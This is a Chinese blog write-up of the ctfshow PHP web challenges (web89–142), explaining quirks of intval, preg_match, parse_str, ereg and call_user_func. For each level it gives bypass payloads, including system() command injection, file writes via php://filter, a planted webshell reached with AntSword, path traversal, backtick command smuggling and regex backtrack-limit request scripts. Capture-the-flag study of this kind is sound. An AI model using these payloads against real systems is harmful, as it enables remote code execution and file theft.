ctfshow
web89
preg_match()只能处理字符串,当传入的是数组时将会返回false
intval(mixed $value, int $base = 10): int
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
/155817.png)
注:除非value是一个字符串,否则base不会起作用
/155907.png)
payload:?num[]=1
web90
还是考察intval函数,看源码:
/161305.png)
payload:?num=0x117c #0x117c是4476的16进制
web91
先看源码:
/213407.png)
首先是:
if(preg_match(‘/^php$/im’, $a))
/^php$/im 表示用php匹配开头和结尾,不区分大小写,并且多行匹配
再次:
if(preg_match(‘/^php$/i’, $a))
与上面的区别是没有多行匹配,这可以用到Apache HTTPD换行解析漏洞(CVE-2017-15715)–(https://blog.csdn.net/qq_46091464/article/details/108278486)
payload:?cmd=abc%0aphp
a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php
其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配abc,abc不满足第二个if,所以输出flag
在php中,/m表示爱看i其多行匹配模式,开启多行匹配模式之后^和$的含义就发生了变化,没开启多行模式之前(即单行匹配模式),^和$是匹配字符串的开始和结尾,开启多行模式之后,多行模式^和$可以匹配每行的开头和结尾,所以上述payload里卖弄含有换行符,被当作两行处理,一行匹配ok即可
web92
还是考察intval()函数特性
pyload:?cmd=4476.1
web93
这里过滤了a-z和A-Z,不能用16进制编码,但能用8进制编码,用小数也可以绕过。这里我们用8进制编码一下
payload:?cmd=010574
web94
看源码
/223456.png)
这里增加了strpos()函数
strpos(string $haystack, string $needle, int $offset = 0): int|false
返回 needle 在 haystack 中首次出现的数字位置。如果提供了$offset参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。
所以,这里的if(!strpos($num, “0”))是过滤了出现在字符串首位的0,即屏蔽了8进制
payload:?num=4476.01
web95
这关直接过滤了点,发现用+号可以绕过
payload:?cmd=+010574 或 ?cmd=%2b010574
web96
这里用相对路径
payload:?u=./flag.php
web97
数组绕过
POST a[]=1&b[]=2
web98
由源码含义可构造payload:
/110924.png)
web99
看源码:
/113547.png)
in_array()
/113721.png)
file_put_contents()
/113902.png)
直接构造,然后用蚁剑连接
/115539.png)
get数据可以多次尝试
web100
源码:
/142455.png)
is_numeric(mixed $value): bool
检测指定的变量是否为数字或数字字符串。
这题的重点是and or和&& ||的区别,区别是优先级不同,后者的优先级高于=,前者的优先级低于=。所以这里只要构造v1等于一个数字即可。
?v1=23&v2=system('ls')&v3=;
?v1=1&v2=system("tac ctfshow.php")&v3=;
?v1=1&v2=highlight_file("ctfshow.php")&v3=;
?v1=1&v2=echo new ReflectionClass&v3=;
web101
这一关几乎所有能用的都过滤了,这里要用到ReflectionClass反射类。
参考:https://www.php.net/manual/zh/class.reflectionclass.php
https://www.cnblogs.com/benbenhan/p/12572649.html
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
payload:?v1=1&v2=echo new ReflectionClass&v3=;
web102
先看源码:
/162642.png)
call_user_func(callable $callback,mixed …$args):mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
我们梳理一下这一关的思路:首先v3得是一个文件名,然后v2应该是一句话,但这里要绕过is_numeric(),并且要经过名为v1的函数转换,所以v2得是一句话经过处理成为纯数字,这里我们选v2=’<?=cat *
;’;,再经过base64和16进制编码后成为PD89YGNhdCAqYDs=,等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,再转换为16进制,得到5044383959474e6864434171594473(注:如果此处使用bin2hex()函数,这个函数是先将字符串的ascii对应的二进制找出来,再将二进制码转换成16进制,所以如果用在线编码转换的话应先将字符串先base64编码,再用ascii转16进制)。
这一关要使用php://filter伪协议。
payload:GET v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=1.php
POST v1=hex2bin
最后再访问1.php。
web103
同上
web104
payload: GET v2=ddd
POST v1=ddd
web105
/205755.png)
考察变量覆盖,这里有个php的小特性就是变量不需要声明
payload GET a=flag
POST error=a
web106
参考https://blog.csdn.net/qq_19980431/article/details/83018232
payload: GET v2[]=1
POST v1[]=2
web107
parse_str(string $string, array &$result): void
如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result
则会设置到该数组里 )。
/215655.png)
payload: GET v3=QNKCDZO
POST v1=flag=0
web108
考察ereg()截断漏洞.参考:https://blog.csdn.net/qq_25987491/article/details/79952393
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符大小写敏感
这里ereg有两个漏洞:
①%00截断及遇到%00则默认为字符串的结束
②当ntf为数组时它的返回值不是FALSE
数组绕过匹配:
第一步首先要过ereg,可以用%00截断
第二部0x36d是十进制877,逆操作经过strrev为778
payload c=a%00778
web109
只要让new后面有个类不报错以后,就可以随意构造
?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a
web110
考察FilesystemIterator类
payload ?v1=FilesystemIterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。
getcwd(): string|false
取得当前工作目录。
FilesystemIterator 遍历文件的类
DirctoryIntrerator 遍历目录的类
web111
这里用全局变量GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
注:在所有函数外部定义的变量,拥有全局作用域。除了函数外,全局变量可以被脚本中的任何部分访问,要在一个函数中访问一个全局变量,需要使用 global 关键字。所以这里v2要用超全局变量GLOBALS,不能直接用flag。
payload ?v1=ctfshow&v2=GLOBALS
使用超全局变量$GLOBALS可以代替global
<?php
$num1 = 5; //全局变量
$num2 = 13; //全局变量
function global_var()
{
$sum = $GLOBALS['num1'] + $GLOBALS['num2'];
echo "全局变量求和结果 " .$sum;
}
global_var();
?>
web112
is_file(string $filename): bool
如果文件存在且为正常的文件则返回 true,否则返回 false。
这一关要传入一个不存在的文件名还要把文件内容显示出来,我们这里还是用php伪协议。
payload ?file=php://filter/resource=flag.php
web113
这题用到伪协议zlib://
payload ?file=compress.zlib://flag.php
web114
没有过滤php和filter
?file=php://filter/resource=flag.php
web115
/214923.png)
这一关用%0c来绕过trim()函数
payload ?num=%0c36
web123
这一关比较容易想出来fun=echo $flag,但是没有回显,通过排查发现是$CTF_SHOW.COM的问题,看别人题解果然是,并且是因为是变量里有个点:
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
可以参考一下y4的博客https://blog.csdn.net/solitudi/article/details/120502141
(反正我也看不懂),总之先记住这个性质。其实出现了[之后php就会去找],如果找到了那就是数组,没有找到就被被解析成_
payload CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125
这一关屏蔽了echo、flag。我们这里用创造一个新变量,巧妙利用highlight_file()
payload CTF_SHOW=fds&CTF[SHOW.COM=dfds&fun=highlight_file($_POST[fff])&fff=flag.php
web126
直接过滤了g、i、f…,要利用$_SERVER[‘argv’]。
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
可以用+来进行分隔,使得数组中有多个数值。
注:在web页模式下必须在php.ini开启register_argc_argv配置项
payload GET a=1+$fl0g=flag_give_me;
POST CTF_SHOW=fds&CTF[SHOW.COM=dfds&fun=eval($a[1])
注意分号。
web127
extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix= “”): int
本函数用来将变量从数组中导入到当前的符号表中。
array:一个关联数组。此函数会将键名当作变量名,值作为变量的值。 对每个键/值对都会在当前的符号表中建立变量
这一关一直卡在CTF_SHOW的下划线的过滤上,看别人题解才发现还有个空格没用上
payload ?ctf show=ilove36d
web128
这关操作确实有点骚。。。
复述一下大佬的做法:(做这道题的时候正好堆堆推门而入取水来了,不得让他表演一下。。。不过大佬就是大佬)
使用**gettext()**拓展,开启此拓展_() 等效于 gettext()
echo _("hahahaha");
//输出结果:hahahaha
接下来到第二层call_user_func,可以使用get_defined_vars函数
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload ?f1=_&f2=get_defined_vars
web129
这题看到readfile第一反应是php伪协议,但要包括ctfshow,搞了一会不行,看别人题解发现放到过滤器参数里就可以,无效的东西会被忽略
payload f=php://filter/ctfshow/resource=flag.php
解法2:文件穿越,把ctfshow当作当前目录下的一个文件
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
web130
第一下随便传了个f=ctfshow想试试代码中的正则是什么作用,结果爆出了flag。。。
.表示任意单个字符,+表示必须匹配1次或多次,?表示匹配0次或1次·,所以+?表示 重复1次或更多次
payload f=ctfshow
还有一种做法:通过数组来绕过,stripos应用于数组的时候会返回null,null!==false
payload f[]=1
其实这道题的意图是通过回溯限制来绕过。
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
脚本发包:
import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
与这题相似的一个题:
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!')
这题可用%0a绕过
?syc=Welcome to GEEK 2023!%0a
web131
这一关只能用回溯了
import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
'f': 'dotast'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
web132
进入admin目录
&&优先级高于||,所以
paylaod ?username=admin&code=admin&password=fdsf
***web133
这题看看出题人的博客 https://blog.csdn.net/qq_46091464/article/details/109095382
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
所以这里没办法回显
这一关要弹什么shell,以后再看
web134
parse_str(string $string, array &$result): void
如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。(parse_str以&来分割字符串)
payload ?_POST[key1]=36d&_POST[key2]=36d
web135
这一关屏蔽了很多东西,我们用linux命令cp或uniq
payload ?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
web136
exec(string $command, array &$output = null, int &$result_code= null): string|false
exec()执行 command 参数所指定的命令。
这关屏蔽了<>和.,又来一个新姿势:
tee a.txt b.txt,将a.txt复制到b.txt
ls | tee b.txt,将ls命令的执行结果写入b.txt
先执行?c=ls /|tee ls,然后访问ls.txt
会让你下载文件,
/135803.png)
然后执行 ?c=tac /f149_15_h3r3|tee flag,访问/flag
web137
用**call_user_func()**来调用一个类里面的方法
payload ctfshow=ctfshow::getFlag
web138
屏蔽了冒号,还可以用数组来调用类里的方法
payload ctfshow[0]=ctfshow&ctfshow[1]=getFlag
***web139
要用到什么shell编程和盲注,还是暂放亿下。。。
web140
“ctfshow”字符串与数字比较时被转换为0,所以这关随便胡写俩个函数使最后的结果为null就行
payload f1=intval&f2=intval
***web141
\W匹配非字母、数字、下划线。等价于 [^A-Za-z0-9_]。
无数字字母rce……
web142
这关没难度
payload v1=0
***web143-150
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。